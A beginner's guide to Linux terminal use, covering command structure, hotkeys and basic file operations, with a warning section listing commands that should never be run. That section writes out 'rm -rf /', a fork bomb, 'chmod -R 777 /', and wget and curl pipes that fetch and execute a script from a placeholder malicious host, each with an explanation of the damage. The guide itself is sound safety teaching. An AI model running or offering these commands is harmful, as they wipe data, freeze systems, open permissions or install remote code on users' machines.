Terminal Basics
Last updated: 2024, Sun Jun 16th at 14:12 CDT
This will be a general overview of the terminal and basic on how it works. Even though most users may never need to use a terminal, understanding the basic can help you avoid issues from badly coded to malicious programs. A lot of users find a terminal daunting and intimidating, these tips should help with that.
Additional Resources #
- Linux Command Library GitHub
- Linux Command Library Site
- Explain Command-Line
- Terminal Cheat Sheet
- Dangerous & Destructive Linux Command
- Dangerous Linux Terminal Commands
Terminal #
A terminal emulator/application, is a program that adapts a video terminal to other display architectures. Terminal is a term that encompasses all remote terminals, including terminal emulators that are part of a graphical user interface (GUI), commonly known as a terminal window. With a terminal window, users can access a text terminal and all its applications, including command-line interfaces (CLI) and text user interface (TUI) applications. It is possible to run these on either the same machine or a different one with the use of Telnet, SSH, or a direct serial connection.
Structure #
This is how the shell command sudo nala install --update wine
is broken down
flowchart TD A{{sudo nala install --update wine}} ==>|" sudo "| B(Permission\nElevation) A ==>|" nala "|C(Application) A ==>|" install "|D(Command) A ==>|" --update "|E(Option/\nArgument) A ==>|" wine "|F(Packages, Files,\nDirectory, ETC..)
Hotkeys #
Basic hotkeys that work in most shells and terminals
Commands | Definition |
---|---|
Up Arrow | Will show your last command |
Down Arrow | Will show your next command |
Tab | Will auto-complete your command |
Ctrl + C | Will cancel a command |
There are some additional keybindings that work with command history
Commands | Definition |
---|---|
right Arrow | Accept the autosuggestion |
Alt right Arrow | Accept the first suggested word |
Basic Operations #
These are a collection of basic terminal commands that are often used. There is no way to memorize all terminal commands for every application. Instead, attempt to remember a few commands and develop your own cheat sheet, or utilize a software program such as Linux Command Library.
Commands | Definition |
---|---|
cd [directory] | Change directory to specific directory |
cd .. | Change to parent directory |
cd ~ | Change to home directory |
mkdir [directory name] | Make directory |
ls -a | List all contents |
ls -la | List all contents with more info |
cp [file name] [directory] | Copy file |
rm [file name] | Remove file |
rm ./* | Remove everything in the current directory |
rm -rf [directory] | Remove directory |
mv [file name] [directory] | Move file |
mv [directory] [different directory] | Move directory |
mv [file name] [new file name] | Rename file or folder |
clear | Clear the terminal |
man [application] | Show the manual of terminal commands |
echo $PATH | Shows where programs should be located |
echo > [new file name] | Create a file |
touch [new file name] | Create a file |
Dangerous Commands #
When compared to using the GUI for the same task, using Terminal is usually an easier, faster, and better experience. Commands offer access to features that a GUI cannot provide, but they can also be hazardous if you are unsure of their precise purpose. This is not an extensive list or a complete one. For more information, please refer to the links above.
Do not run these commands
Some of them can cause severe damage to your system or files, erasing your data without any warning or confirmation requests beforehand.
1. rm -rf / Command #
The rm
command in Linux enables the removal of files and directories. The deleted files are permanently gone because there is no option to undelete them. The system would experience instability if the rm
command is used to permanently remove sensitive system files.
rm -rf /
If you use the rm
command with Root permission and the -r
and -f
flags, all subdirectories in the /
root directory will be deleted in a recursive manner.
2. :(){ :|:& };: Fork Bomb #
The fork bomb command creates a function called :
and defines its contents, causing it to execute itself and pipe into another call of itself.
:(){ :|:& };:
Therefore, the function is running in the frontend while the same process is running in the background. The function keeps repeating and replicating itself, consuming all your resources quickly until the system freezes.
3. chmod -R 777 / Command #
Users can change their permissions to access specific files using the chmod
command. Recursively changing the permissions of all your files in a given directory can be done by using the chmod -R
command option.
chmod -R 777 /
The security of the system is compromised by this command as it enables all users to read, write, and execute all files on the system. If the permissions are too open, certain systems may malfunction and prevent booting.
4. wget Website -O-|sh Command #
Downloading files in the terminal is possible using both wget
and curl
commands. Both commands have the possibility of downloading a script from a malicious source and running it with sh
. It is also possible is the download is interrupted that it will run whatever shell script has downloaded.
wget http://malicious_source -O- | sh
curl http://malicious_source | sh
Make sure to check the address of the package or file you are downloading and confirm itβs from a trusted source to avoid infecting your system.